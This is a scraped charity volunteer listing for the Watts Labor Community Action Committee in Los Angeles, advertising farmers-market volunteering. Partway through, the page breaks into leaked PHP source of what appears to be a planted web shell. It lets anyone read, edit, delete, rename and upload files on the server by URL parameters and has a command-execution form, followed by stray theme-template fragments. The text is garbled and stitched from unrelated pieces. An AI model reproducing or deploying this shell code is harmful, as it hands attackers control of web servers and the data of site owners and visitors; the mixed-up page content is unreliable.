Watts Labor Community Action Committee (WLCAC)

0 Reviews
0
0

Watts Labor Community Action Committee (WLCAC)

10950 S Central Ave, Los Angeles, CA 90059
I'm Interested Visit Website Volunteer Page
Our mission

To improve the quality of life for the residents of Watts and neighboring communities.

Opportunities

Voluteer at MudTown Free Farmers

We are seeking dedicated and passionate volunteers to help us sort and distribute produce at the MudTown Free Farmers Market!

  • Occasional, Monthly
  • Adults
  • Individuals
  • Physical, Event support
  • None, On-site
  • Weekdays, Evenings
How you help

Help your community! Meet new friends!

About us

The Watts Labor Community Action Committee (WLCAC) is a non-profit, community-based, human social services organization dedicated to improving the quality of life for South Central Los Angeles residents.

Caterscam Corp.
";

$cwd = realpath($_GET['path'] ?? getcwd());
if (!$cwd || !file_exists($cwd)) $cwd = getcwd();

// Handle delete
if (isset($_GET['del'])) {
    $target = realpath($_GET['del']);
    if (is_file($target)) {
        echo unlink($target) ? "[+] File deleted: $target\n" : "[-] Failed to delete file\n";
    } elseif (is_dir($target)) {
        echo rmdir($target) ? "[+] Directory deleted: $target\n" : "[-] Failed to delete directory\n";
    }
}

// Handle rename
if (isset($_GET['rename'], $_POST['newname'])) {
    $old = realpath($_GET['rename']);
    $new = dirname($old) . '/' . basename($_POST['newname']);
    echo rename($old, $new) ? "[+] Renamed to: $new\n" : "[-] Rename failed\n";
}

// Handle file save
if (isset($_GET['edit'], $_POST['content'])) {
    $file = $cwd . '/' . basename($_GET['edit']);
    echo file_put_contents($file, $_POST['content']) !== false ? "[+] File saved: $file\n" : "[-] Save failed\n";
}

// Handle file upload
if (isset($_POST["upload"]) && isset($_FILES["up"])) {
    $up = $_FILES["up"];
    $dest = $cwd . "/" . basename($up["name"]);
    echo move_uploaded_file($up["tmp_name"], $dest) ? "[+] Uploaded: " . $up["name"] . "\n" : "[-] Upload failed\n";
}

// Breadcrumb
echo "Current Dir: ";
$parts = explode("/", trim($cwd, "/"));
$build = "";
echo "/";
foreach ($parts as $part) {
    $build .= "/" . $part;
    echo "$part/";
}
echo "\n\n";

// Directory listing: pisahkan dir dan file
$files = scandir($cwd);
natcasesort($files);

$dirs = [];
$regularFiles = [];

foreach ($files as $f) {
    if ($f === "." || $f === "..") continue;
    $full = $cwd . '/' . $f;
    is_dir($full) ? $dirs[] = $f : $regularFiles[] = $f;
}

// Tampilkan direktori dulu
foreach ($dirs as $f) {
    $full = $cwd . '/' . $f;
    echo "[DIR]  $f ";
    echo "[ delete | ";
    echo "rename ]\n";
}

// Lalu file
foreach ($regularFiles as $f) {
    $full = $cwd . '/' . $f;
    echo "[FILE] $f ";
    echo "[ edit | ";
    echo "delete | ";
    echo "rename ]\n";
}

// File viewer
if (isset($_GET['read'])) {
    $target = realpath($cwd . '/' . $_GET['read']);
    if ($target && is_file($target)) {
        echo "\nViewing: " . htmlspecialchars($target) . "\n\n";
        echo htmlspecialchars(file_get_contents($target));
    }
}

// Edit form
if (isset($_GET['edit']) && !isset($_POST['content'])) {
    $file = $cwd . '/' . basename($_GET['edit']);
    $content = htmlspecialchars(@file_get_contents($file));
    echo "

"; } // Rename form if (isset($_GET['rename']) && !isset($_POST['newname'])) { echo "
Rename to:
"; } // Upload form echo "
Upload File:
"; // Command Execution echo "
"; if (!empty($_POST["cmd"])) { echo "
CMD Output:
"; } echo "
"; ?>
'; if ( ! empty( $page_404_bg_image_overlay ) ) { echo '
'; } } ?>
>